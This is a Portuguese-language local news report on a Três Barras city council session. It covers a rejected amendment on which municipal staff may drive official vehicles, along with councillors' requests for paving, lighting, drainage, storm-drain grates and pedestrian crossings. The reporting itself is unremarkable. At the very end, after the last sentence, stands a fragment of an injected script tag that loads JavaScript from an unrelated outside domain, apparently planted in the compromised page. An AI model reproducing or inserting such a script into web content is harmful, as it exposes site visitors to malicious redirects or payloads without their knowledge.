Vereadores divergem sobre “condução de veículos” ser atribuição de cargo administrativo
Assunto entrou em discussão devido emenda parlamentar ao projeto que alterar cargos na esfera executiva
O vereadores de Três Barras voltaram a discutir os projetos 9 e 10, ambos de 2018 e de origem do executivo, que altera atribuições de cargos na administração municipal e no SAMASA – Serviço Autônomo de Águas e Saneamento Ambiental. Tramitando há alguns meses na casa, os projetos receberam um texto de emenda parlamentar que foi apreciada na sessão da última segunda-feira, 15. A emenda foi rejeitada por 6 votos a 4.
A emenda, proposta pelo vereador Marco Antônio de Souza, Gorguinho do MDB, alertava para a atribuição de “conduzir veículos”, referente aos cargos administrativos, que tal função não compete aos cargos e que a questão era de exclusividade de motoristas e condutores, contratados para tal finalidade. Para corrigir o texto, solicitou na emenda que a nova redação retirasse essa especificidade dos cargos.
Ao defender a emenda na tribuna, Gorguinho disse que “essa proposta é a de excluir a atribuição da ‘condução de veículos’ exceto do cargo de motorista e que o executivo usasse o instrumento legal para determinar quem pode ou não – dirigir automóveis – através de portaria”, destacou. “A idéia é de proteger o cardo de condutor e motorista e a própria administração que pode ter alguém não preparado para tal função”, discursou.
A emenda recebeu discurso de apoio na tribuna da vereadora Dani Krailing, também do MDB, alegando “que conduzir um veículo é de responsabilidade muito grande, estamos pensando na segurança das pessoas”, defendeu.
A questão no entanto, não foi unânime. Relatora do parecer que rejeitou a emenda, Carla Shimoguiri (PTB) disse respeitar a opinião dos colegas, porém, que julgava necessário a atribuição para os funcionários administrativos a fim de não travar a gestão do município: “Imagine o colaborador precisar ficar na dependência do motorista, ia engessar a atuação do funcionário”, rebateu.
A vereadora também se demonstrou preocupada com o aumento dos custos: “sem a atribuição, cada setor precisaria ter um motorista exclusivo, encareceria a administração”, disse.
Sobre a legalidade da proposta, defendeu que o executivo continua responsável por designar quem vai ou não conduzir veículos e que a garantia em lei, evita a emissão de várias portarias. Já sobre segurança, garantiu que “o transporte de alunos, de pacientes e as viagens continuarão sendo feitas” por profissional contratado para a função.
Ernani Wogeinaki Jr, PSB, acompanhou o voto da relatora e disse que “é muito comum ver pessoas dirigindo veículos, o prefeito vai continuar sendo o responsável, seja por lei ou por portaria”. Ele também afirmou que outra emenda já tramita na casa para garantir que questões específicas dos condutores sejam protegidas.
Rejeitaram a emenda os vereadores: Adilson Martins (PSD); Ernani Wogeinaki Jr (PSB); Carla Shimoguiri (PTB); João Canani (PSB); Laudecir José Gonçalves (PR); e Siomara Muhlmann Correa (PP). Votaram a favor da manutenção da emenda, o autor Marco Aurélio de Souza (MDB); Dani Krailing (MDB); Edenilson Enguel (PSD); e Fabiano José Mendes (PSD). O presidente só vota em caso de empate.
Com o placar, a emenda foi arquivada. Os projetos continuam em tramitação.
Cidinho cobra asfaltamento de ruas e melhorias para o São Cristóvão
As proposituras foram apresentadas na última segunda-feira, 15
O vereador e presidente da casa, Cerival da Cruz, Cidinho do DEM, apresentou duas indicações em que cobra melhorias na infra-estrutura do Distrito do São Cristóvão. Ele está preocupado com a quantidade de lâmpadas queimadas nos postes e a falta de afastamento em determinadas ruas. As proposituras foram apresentadas na última segunda-feira, 15, e encaminhadas ao executivo.
Na indicação de número 104, o vereador quer que o prefeito tome providências para pavimentar com asfalto as Ruas: Canoinhas; Getúlio Vargas; Cidade de Valinhos; e Olga Zhen Pereira. O objetivo é oferecer melhores condições de tráfego para veículos e pedestres, assim, aumentando a qualidade de vida dos moradores do distrito.
Já na indicação de número 103, o vereador pede para que o executivo entre em contato com a empresa que é responsável pela iluminação pública e que a mesma troque as lâmpadas no bairro. Diversas ruas ficam escuras devido a falta de manutenção.
No texto o vereador defendeu que “o objetivo é oferecer maior segurança às pessoas que trabalham em turnos e também aos alunos que retornam da aula entre o anoitecer e a noite em si”.
Vereadores debatem desobstrução de valetas e drenagem pluvial
Bano, Enguel, Canani, Barriga e Júnior se manifestaram sobre o tema
As chuvas que atingem a região desde as últimas semanas já têm apresentado problemas no município. Pelo menos cinco vereadores foram enfáticos na sessão da última segunda-feira, 15, sobre a obstrução de valetas e incapacidade de drenagem pluvial em algumas ruas. Os Edis apresentaram indicações e pronunciamentos na tribuna pedindo providências por parte do executivo.
Fabiano José Mendes, o Bano (PSD), pediu através de indicação que o prefeito determine a limpeza geral em todas as valetas existentes no distrito de São Cristóvão. Segundo ele, há vários problemas onde a água não escoa e prejudica a população. “Precisamos de mais ação, mais trabalho”, destacou ao utilizar a tribuna.
Já o vereador Edenilson Enguel, também do (PSD), lamentou que esse tipo de ação seja iniciada somente quando a chuva já causa transtornos: “eu alertei que o período de chuvas ia chegar, já havia pedido a limpeza, mas só agora as máquinas chegaram”, desabafou. O vereador destacou que a população já está irritada e que o trabalho só começou após a comunidade se manifestar com fotos nas redes sociais.
Ernani Wogeinaki Jr, (PSB), lembrou da Rua Boleslau Polanski, no bairro João Paulo II. Ele afirmou que é necessário tomar providências para facilitar o escoamento de água. As chuvas têm deixado grandes poças, principalmente nas proximidades do Mercado Real: “é necessário construir bocas de lobo para o escoamento pluvial naquela rua”, defendeu. Ele apresentou indicação cobrando solução.
O tema também foi debatido por João Canani, PSB, que alertaou para a falta de segurança nas Bocas-de-Lobo existentes. Através de indicação ele pediu a regularização das mesmas. Ele relatou que a falta de proteção pode ocasionar acidentes, como já ocorreu com uma criança no bairro Vila Nova.
O vereador defendeu que sejam colocadas as grades nos bueiros: “alguns até tem tampas, mas o espaço é muito grande”, justificou.
Ao pedir a parte na fala de Canani, Laudecir José Gonçalves, Barriga (PR), também endossou as palavras do vereador e lembrou que na localidade de Barra Grande, KM 06, há um bueiro onde “cabe uma vaca”, ao ironizar a falta de proteção. Barriga ainda disse que existem vários bueiros abertos na cidade e que há urgência na solução desse problema.
Canani e Ernani Jr pedem melhorias para pedestres
Vereadores sugeriram parcerias publico/privadas para solucionar problemas
Os vereadores João Francisco Canani e Ernani Wogeinaki Jr, ambos do PSB, apresentaram indicações solicitando melhorias na infra-estrutura para pedestres no município de Três Barras. Os Edis apontaram problemas pontuais e sugeriram a solução dos mesmos. Os textos foram enviados para apreciação do executivo municipal.
Na indicação 105/2018, Canani pediu para que a administração municipal reconstrua a calçada para pedestres na Rua Andréa Max Muller, entre as Avenidas Rigesa e José Nunes Cavalheiro, mais precisamente ao lado da Loja Berlanda. A estrutura foi danificada quando ocorreu a implantação do asfalto e o defeito persiste até hoje.
“Ali do lado da Berlanda ta feio, deixa a cidade feia, já faz quase quatro anos do problema. Quem danificou, deve consertar”, defendeu. Porém, o vereador admitiu que uma parceria publico/privada com a própria loja poderia por fim ao defeito: “Vamos conversar com a loja, de repente cada um ajuda um pouco e conversando a gente resolve”, conclamou.
Para as proximidades da Secretaria de Agricultura, no acesso ao Bairro Argentina, o vereador insistiu na instalação de uma lombo-faixa, a fim de dar mais segurança aos alunos que caminham por ali para irem/voltarem da Escola Guita Federmann.
A segurança de pedestres foi tema da indicação 106 de autoria do vereador Ernani Jr. Ele pediu para que o executivo construa lombo-faixas nas proximidades de todas as rotatórias existentes na sede do município. Ele alega que só na Avenida Rigesa são quatro pontos de intensa circulação de veículos e que é necessário garantir mais segurança a pedestres e ciclistas.
“Em todas as rotatórias é muito difícil fazer a travessia da rua a pé, precisamos alterar isso”, destacou ao defender a indicação na tribuna.
Outros Assuntos
O vereador Canani ainda destacou a procissão até a Igreja de Nossa Senhora Aparecida, na localidade de Barra Grande KM 06, onde sugeriu ter falatado, por parte da secretaria competente, a manutenção do trajeto e a roçada do mato. Ele afirmou que a população que participou da caminhada demonstrou-se descontente com a situação.
O vereador também alertou para a falta de manutenção na praça que fica em frente a prefeitura: “As pequenas coisas fazem um estrago na gestão, precisamos ficar atentos”, destacou.
Vereadores como Laudecir José Gonçalves, Barriga (PR), Dani Krailing (MDB), Carla Shimoguiri (PTB), parabenizaram os professores pela passagem do seu dia.
Já o vereador Edenilson Enguel (PSD) voltou a cobrar a compra de novas louças para as escolas municipais: “visitei o CAIC e as condições são muito precárias, tem gente levando o talher de casa”, reclamou. Ele afirmou que já tocou no assunto outras vezes, mas, que até agora, nada foi resolvido…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>
